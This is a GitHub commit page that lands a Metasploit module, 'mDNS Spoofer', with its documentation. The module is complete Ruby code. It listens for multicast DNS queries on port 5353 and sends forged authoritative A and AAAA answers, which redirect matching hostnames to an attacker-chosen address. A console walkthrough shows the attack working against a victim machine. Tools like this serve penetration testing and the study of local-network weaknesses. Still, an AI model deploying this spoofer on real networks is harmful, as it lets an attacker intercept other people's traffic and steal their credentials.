Skip to content

Commit 25bfa88

Browse files
committed
Land rapid7#7877, Add mDNS query spoofing service
2 parents b3e3821 + 45e0a3d commit 25bfa88

File tree

2 files changed

+324
-0
lines changed

2 files changed

+324
-0
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
2+
3+
## Vulnerable Application
4+
5+
To use mdns_response, be on a network with devices/applications that can make mDNS multicast requests on 5353/udp for A and AAAA record queries.
6+
7+
## Verification Steps
8+
9+
1. `use auxiliary/spoof/mdns/mdns_response`
10+
2. `set INTERFACE network_iface`
11+
3. `set SPOOFIP4 10.x.x.x`
12+
4. `run`
13+
14+
## Options
15+
16+
**The SPOOFIP4 option**
17+
18+
IPv4 address with which to spoof A-record queries
19+
20+
```
21+
set SPOOFIP4 [IPv4 address]
22+
```
23+
24+
**The SPOOFIP6 option**
25+
26+
IPv6 address with which to spoof AAAA-record queries
27+
28+
```
29+
set SPOOFIP6 [IPv6 address]
30+
```
31+
32+
**The REGEX option**
33+
34+
Regex applied to the mDNS to determine if spoofed reply is sent
35+
36+
```
37+
set REGEX [regex]
38+
```
39+
40+
**The TTL option**
41+
42+
Time To Live for the spoofed response (in seconds)
43+
44+
```
45+
set TTL [number of seconds]
46+
```
47+
48+
## Scenarios
49+
50+
```
51+
msf > use auxiliary/spoof/mdns/mdns_response
52+
msf auxiliary(mdns_response) > set SPOOFIP4 10.x.x.y
53+
SPOOFIP4 => 10.x.x.y
54+
msf auxiliary(mdns_response) > set INTERFACE en3
55+
INTERFACE => en3
56+
msf auxiliary(mdns_response) > run
57+
[*] Auxiliary module execution completed
58+
msf auxiliary(mdns_response) >
59+
[*] mDNS spoofer started. Listening for mDNS requests with REGEX "(?-mix:.*)" ...
60+
```
61+
62+
On Victim Machine
63+
```
64+
ping something.local
65+
```
66+
(IP address should resolve to spoofed address)
67+
68+
69+
```
70+
[+] 10.x.x.z mDNS - something.local. matches regex, responding with 10.x.x.y
71+
```
Lines changed: 253 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,253 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'socket'
8+
require 'ipaddr'
9+
require 'net/dns'
10+
11+
class MetasploitModule < Msf::Auxiliary
12+
13+
include Msf::Exploit::Capture
14+
15+
attr_accessor :sock, :thread
16+
17+
18+
def initialize
19+
super(
20+
'Name' => 'mDNS Spoofer',
21+
'Description' => %q{
22+
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
23+
},
24+
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
29+
],
30+
31+
'Actions' =>
32+
[
33+
[ 'Service' ]
34+
],
35+
'PassiveActions' =>
36+
[
37+
'Service'
38+
],
39+
'DefaultAction' => 'Service'
40+
)
41+
42+
register_options([
43+
OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]),
44+
OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]),
45+
OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']),
46+
OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]),
47+
])
48+
49+
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
50+
self.thread = nil
51+
self.sock = nil
52+
end
53+
54+
def dispatch_request(packet, rhost, src_port)
55+
rhost = ::IPAddr.new(rhost)
56+
57+
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
58+
# addr like "::ffff:192.168.0.1" when the interface we're listening
59+
# on has an IPv6 address. Convert it to just the v4 addr
60+
if rhost.ipv4_mapped?
61+
rhost = rhost.native
62+
end
63+
64+
# Parse the incoming MDNS packet. Quit if an exception was thrown.
65+
dns_pkt = nil
66+
begin
67+
dns_pkt = ::Net::DNS::Packet.parse(packet)
68+
rescue
69+
return
70+
end
71+
72+
spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])
73+
spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue ''
74+
75+
# Turn this packet into an authoritative response.
76+
dns_pkt.header.qr = 1
77+
dns_pkt.header.aa = 1
78+
79+
qm = true
80+
dns_pkt.question.each do |question|
81+
name = question.qName
82+
if datastore['REGEX'] != '.*'
83+
unless name =~ /#{datastore['REGEX']}/i
84+
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
85+
next
86+
end
87+
end
88+
89+
# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.
90+
if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type
91+
qm = false
92+
end
93+
94+
# qType is not a Integer, so to compare it with `case` we have to
95+
# convert it
96+
responding_with = nil
97+
case question.qType.to_i
98+
when ::Net::DNS::A
99+
dns_pkt.answer << ::Net::DNS::RR::A.new(
100+
:name => name,
101+
:ttl => datastore['TTL'],
102+
:cls => 0x8001, # Class IN, with flush cache flag
103+
:type => ::Net::DNS::A,
104+
:address => spoof4.to_s
105+
)
106+
responding_with = spoof4.to_s
107+
when ::Net::DNS::AAAA
108+
if spoof6 != ''
109+
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
110+
:name => name,
111+
:ttl => datastore['TTL'],
112+
:cls => 0x8001, # Class IN, with flush cache flag
113+
:type => ::Net::DNS::AAAA,
114+
:address => spoof6.to_s
115+
)
116+
responding_with = spoof6.to_s
117+
end
118+
else
119+
# Skip PTR, SRV, etc. records.
120+
next
121+
end
122+
123+
# If we are responding to this query, and we haven't spammed stdout recently, print a notification.
124+
if not responding_with.nil? and should_print_reply?(name)
125+
print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")
126+
end
127+
end
128+
129+
# Clear the questions from the responses. They aren't observed in legit responses.
130+
dns_pkt.question.clear()
131+
132+
# If we didn't find anything we want to spoof, don't send any
133+
# packets
134+
return if dns_pkt.answer.empty?
135+
136+
begin
137+
udp = ::PacketFu::UDPHeader.new(
138+
:udp_src => 5353,
139+
:udp_dst => src_port,
140+
:body => dns_pkt.data
141+
)
142+
rescue
143+
return
144+
end
145+
udp.udp_recalc
146+
147+
# Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response.
148+
dst = rhost
149+
if rhost.ipv4?
150+
if qm
151+
dst = ::IPAddr.new('224.0.0.251')
152+
end
153+
ip_pkt = ::PacketFu::IPPacket.new(
154+
:ip_src => spoof4.hton,
155+
:ip_dst => dst.hton,
156+
:ip_proto => 0x11, # UDP
157+
:body => udp
158+
)
159+
elsif rhost.ipv6?
160+
if qm
161+
dst = ::IPAddr.new('ff02::fb')
162+
end
163+
ip_pkt = ::PacketFu::IPv6Packet.new(
164+
:ipv6_src => spoof6.hton,
165+
:ipv6_dst => dst.hton,
166+
:ip_proto => 0x11, # UDP
167+
:body => udp
168+
)
169+
else
170+
# Should never get here
171+
print_error("IP version is not 4 or 6. Failed to parse?")
172+
return
173+
end
174+
ip_pkt.recalc
175+
176+
capture_sendto(ip_pkt, rhost.to_s, true)
177+
end
178+
179+
def monitor_socket
180+
while true
181+
rds = [self.sock]
182+
wds = []
183+
eds = [self.sock]
184+
185+
r,_,_ = ::IO.select(rds,wds,eds,0.25)
186+
187+
if (r != nil and r[0] == self.sock)
188+
packet, host, port = self.sock.recvfrom(65535)
189+
dispatch_request(packet, host, port)
190+
end
191+
end
192+
end
193+
194+
195+
# Don't spam with success, just throttle to every 10 seconds
196+
# per host
197+
def should_print_reply?(host)
198+
@notified_times ||= {}
199+
now = Time.now.utc
200+
@notified_times[host] ||= now
201+
last_notified = now - @notified_times[host]
202+
if last_notified == 0 or last_notified > 10
203+
@notified_times[host] = now
204+
else
205+
false
206+
end
207+
end
208+
209+
def run
210+
check_pcaprub_loaded()
211+
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
212+
213+
# Avoid receiving extraneous traffic on our send socket
214+
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
215+
216+
# Multicast Address for LLMNR
217+
multicast_addr = ::IPAddr.new("224.0.0.251")
218+
219+
# The bind address here will determine which interface we receive
220+
# multicast packets from. If the address is INADDR_ANY, we get them
221+
# from all interfaces, so try to restrict if we can, but fall back
222+
# if we can't
223+
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
224+
225+
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
226+
self.sock = Rex::Socket.create_udp(
227+
# This must be INADDR_ANY to receive multicast packets
228+
'LocalHost' => "0.0.0.0",
229+
'LocalPort' => 5353,
230+
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
231+
)
232+
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
233+
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
234+
235+
self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) {
236+
monitor_socket
237+
}
238+
239+
print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")
240+
241+
add_socket(self.sock)
242+
243+
self.thread.join
244+
end
245+
246+
def cleanup
247+
if self.thread and self.thread.alive?
248+
self.thread.kill
249+
self.thread = nil
250+
end
251+
close_pcap
252+
end
253+
end

0 commit comments

Comments
 (0)